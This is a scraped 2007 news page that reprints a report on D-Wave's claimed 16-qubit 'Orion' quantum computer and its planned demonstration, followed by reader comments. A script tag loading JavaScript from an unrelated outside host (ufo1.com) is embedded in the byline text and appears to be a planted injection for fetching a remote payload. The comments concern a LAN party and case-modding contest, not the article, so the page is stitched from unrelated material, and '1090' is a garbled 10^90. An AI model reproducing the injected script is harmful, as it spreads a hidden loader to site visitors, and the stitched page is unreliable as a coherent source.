Quantum Computing Around The Corner?

"A little company by the name of D-Wave is about to set the industry on its ear next week with the debut of their 16-qubit processor."

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 12/02/07
Author: PV5150
Source: Guardian Unlimited

D-Wave logo

A Canadian company with substantial venture capital backing claims to have built a "quantum computer" that will ultimately solve problems beyond the power of conventional systems - and will demonstrate it over a live link this week. While most scientists believe a useful system is at least 20 years away, D-Wave , based in Burnaby, British Columbia, says it has a breakthrough in a field that already promises revolution. The company says it expects to sell quantum computers next year that can solve knotty problems from protein structure to financial optimisation.

In a quantum computer, every quantum bit (or "qubit") is simultaneously both 0 and 1. Put two qubits together, and you have a system whose values are simultaneously every value from 0 to 3. A system with only 300 qubits is in 1090 (one followed by 90 zeros) states simultaneously - more than the number of atoms in the known universe. If (and it's a big "if") you can frame your calculation in the correct way then rather than grinding through each individual step of the calculation (what is 2+2? Add 2 to 0, add 2 to 2, read the result) the quantum computer will move directly to the correct answer. What is 2+2? The quantum state: 4.

For the mathematically elite amongst us, you can view the details on quantum computing and Bits vs qubits at Wikipedia

The problem exists for developers that quantum computers literally stop working if you look at them. If any interference, even thermal noise, gets in from the outside world, quantum states "collapse". The cat is alive or dead, the bits are 0 or 1, not both, and the computer loses its magical multiplicity. So far, quantum computers have only been isolated long enough for a few thousand operations - too short to do anything really useful.

But D-Wave's "Orion" is designed to collapse: it uses a so-called "adiabatic" process, in which the quantum states evolve towards the answer. Noise actually helps this, according to D-Wave's founder, the scientist Geordie Rose. His Orion system is a 16-qubit chip, built with the metal niobium using conventional lithography, and cooled to just above absolute zero.

Is this a major advancement in computing as we know it, or purely the realm of the trekkie fans? Either way, D-Wave are going for a very public demonstration come the 15th of February.

D-Wave's Orion

Feel free to discuss your thoughts in our forum

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Most Recent Comments

21-02-2007, 04:09:21

PP Mguire
That bumper sticker is the most boss thing ive ever seen besides knowing their are HXC chick modders.

21-02-2007, 06:47:40

Some of those PC's look mega. I wonder how much invested money was sitting in that hall, also wondering what pizza scmizza tastes like :p

21-02-2007, 11:16:03


Some of those PC's look mega. I wonder how much invested money was sitting in that hall, also wondering what pizza scmizza tastes like :p

The Talent there was amazing, also the Lan was run VERY well. a local Pizza place delivered tons of pizzas and donuts every couple of hours so there was no shortage of munchies.

the part that amazed me the most was the new friends and Ideas I got from going.

Now on to designing CrossFlow III:eek:

21-02-2007, 12:08:58

what happened to crossflow 1?

21-02-2007, 12:28:53


what happened to crossflow 1?

its sitting here in my "closet of death"

21-02-2007, 12:47:11

that looks like a nice case

23-02-2007, 19:26:48

They just posted the picts of the PDXLAN. Here is a shot of the 5 finalists in the mod contest together.

26-02-2007, 00:07:55

ahhh im going to this next year...
ill be 18 so my mom wont be able to object!!!!

im starting on my sff case soon... once i get my main rig going cuz my damn 1800xt broke and newegg lost my RMA package!!!! WTF!!!!!!!!!

great comp man i love it

26-02-2007, 01:40:39

Nice one mark, thanks for the share of great case moddin pics

26-02-2007, 10:05:14

wow!!! when are you coming back?

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